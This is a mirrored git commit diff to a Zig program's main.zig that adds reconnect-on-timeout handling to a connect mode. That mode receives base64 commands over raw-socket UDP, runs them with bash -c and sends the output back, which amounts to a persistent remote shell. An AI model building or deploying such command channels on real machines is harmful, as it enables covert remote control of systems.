mirror of
https://git.robbyzambito.me/zaprus
synced 2026-02-04 00:14:52 +00:00
Reconnect on timeout
This commit is contained in:
28
src/main.zig
28
src/main.zig
@@ -195,6 +195,8 @@ pub fn main(init: std.process.Init) !void {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (flags.connect != null) {
|
if (flags.connect != null) {
|
||||||
|
reconnect: while (true) {
|
||||||
|
headers.udp.dst_port = 8888;
|
||||||
const dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
|
const dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
|
||||||
const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
|
const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
|
||||||
// udp dest port should not be 8888 after first
|
// udp dest port should not be 8888 after first
|
||||||
@@ -223,10 +225,10 @@ pub fn main(init: std.process.Init) !void {
|
|||||||
break :blk msg_w.buffered();
|
break :blk msg_w.buffered();
|
||||||
};
|
};
|
||||||
|
|
||||||
try socket.send(full_msg);
|
socket.send(full_msg) catch continue;
|
||||||
var res_buf: [4096]u8 = undefined;
|
var res_buf: [4096]u8 = undefined;
|
||||||
|
|
||||||
var res = try socket.receive(&res_buf);
|
var res = socket.receive(&res_buf) catch continue;
|
||||||
|
|
||||||
headers.udp.dst_port = udp_dest_port;
|
headers.udp.dst_port = udp_dest_port;
|
||||||
|
|
||||||
@@ -237,10 +239,10 @@ pub fn main(init: std.process.Init) !void {
|
|||||||
msg_w.writeAll(connection_bytes) catch unreachable;
|
msg_w.writeAll(connection_bytes) catch unreachable;
|
||||||
break :blk msg_w.buffered();
|
break :blk msg_w.buffered();
|
||||||
};
|
};
|
||||||
try socket.send(full_msg);
|
socket.send(full_msg) catch continue;
|
||||||
|
|
||||||
while (true) {
|
while (true) {
|
||||||
res = try socket.receive(&res_buf);
|
res = socket.receive(&res_buf) catch continue :reconnect;
|
||||||
const connection_res = blk: {
|
const connection_res = blk: {
|
||||||
const msg: SaprusMessage = try .parse(res[42..]);
|
const msg: SaprusMessage = try .parse(res[42..]);
|
||||||
break :blk msg.connection;
|
break :blk msg.connection;
|
||||||
@@ -250,11 +252,11 @@ pub fn main(init: std.process.Init) !void {
|
|||||||
const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)];
|
const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)];
|
||||||
try b64d.decode(connection_payload, connection_res.payload);
|
try b64d.decode(connection_payload, connection_res.payload);
|
||||||
|
|
||||||
const child = try std.process.spawn(init.io, .{
|
const child = std.process.spawn(init.io, .{
|
||||||
.argv = &.{ "bash", "-c", connection_payload },
|
.argv = &.{ "bash", "-c", connection_payload },
|
||||||
.stdout = .pipe,
|
.stdout = .pipe,
|
||||||
.stderr = .pipe,
|
.stderr = .pipe,
|
||||||
});
|
}) catch continue;
|
||||||
|
|
||||||
var child_stdout: std.ArrayList(u8) = .empty;
|
var child_stdout: std.ArrayList(u8) = .empty;
|
||||||
defer child_stdout.deinit(init.gpa);
|
defer child_stdout.deinit(init.gpa);
|
||||||
@@ -274,8 +276,8 @@ pub fn main(init: std.process.Init) !void {
|
|||||||
full_msg = blk: {
|
full_msg = blk: {
|
||||||
var msg_buf: [2048]u8 = undefined;
|
var msg_buf: [2048]u8 = undefined;
|
||||||
var msg_w: Writer = .fixed(&msg_buf);
|
var msg_w: Writer = .fixed(&msg_buf);
|
||||||
msg_w.writeAll(&headers.toBytes()) catch unreachable;
|
msg_w.writeAll(&headers.toBytes()) catch continue;
|
||||||
msg_w.writeAll(connection_bytes) catch unreachable;
|
msg_w.writeAll(connection_bytes) catch continue;
|
||||||
break :blk msg_w.buffered();
|
break :blk msg_w.buffered();
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -284,6 +286,7 @@ pub fn main(init: std.process.Init) !void {
|
|||||||
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
unreachable;
|
unreachable;
|
||||||
}
|
}
|
||||||
@@ -398,6 +401,10 @@ const RawSocket = struct {
|
|||||||
const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll)));
|
const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll)));
|
||||||
if (bind_ret != 0) return error.BindError;
|
if (bind_ret != 0) return error.BindError;
|
||||||
|
|
||||||
|
const timeout: std.os.linux.timeval = .{ .sec = 600, .usec = 0 };
|
||||||
|
const timeout_ret = std.os.linux.setsockopt(socket, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout)));
|
||||||
|
if (timeout_ret != 0) return error.SetTimeoutError;
|
||||||
|
|
||||||
return .{
|
return .{
|
||||||
.fd = socket,
|
.fd = socket,
|
||||||
.sockaddr_ll = sockaddr_ll,
|
.sockaddr_ll = sockaddr_ll,
|
||||||
@@ -419,7 +426,7 @@ const RawSocket = struct {
|
|||||||
@ptrCast(&self.sockaddr_ll),
|
@ptrCast(&self.sockaddr_ll),
|
||||||
@sizeOf(@TypeOf(self.sockaddr_ll)),
|
@sizeOf(@TypeOf(self.sockaddr_ll)),
|
||||||
);
|
);
|
||||||
std.debug.assert(sent_bytes == payload.len);
|
_ = sent_bytes;
|
||||||
}
|
}
|
||||||
|
|
||||||
fn receive(self: RawSocket, buf: []u8) ![]u8 {
|
fn receive(self: RawSocket, buf: []u8) ![]u8 {
|
||||||
@@ -431,6 +438,9 @@ const RawSocket = struct {
|
|||||||
null,
|
null,
|
||||||
null,
|
null,
|
||||||
);
|
);
|
||||||
|
if (std.os.linux.errno(len) != .SUCCESS) {
|
||||||
|
return error.Timeout; // TODO: get the real error, assume timeout for now.
|
||||||
|
}
|
||||||
return buf[0..len];
|
return buf[0..len];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user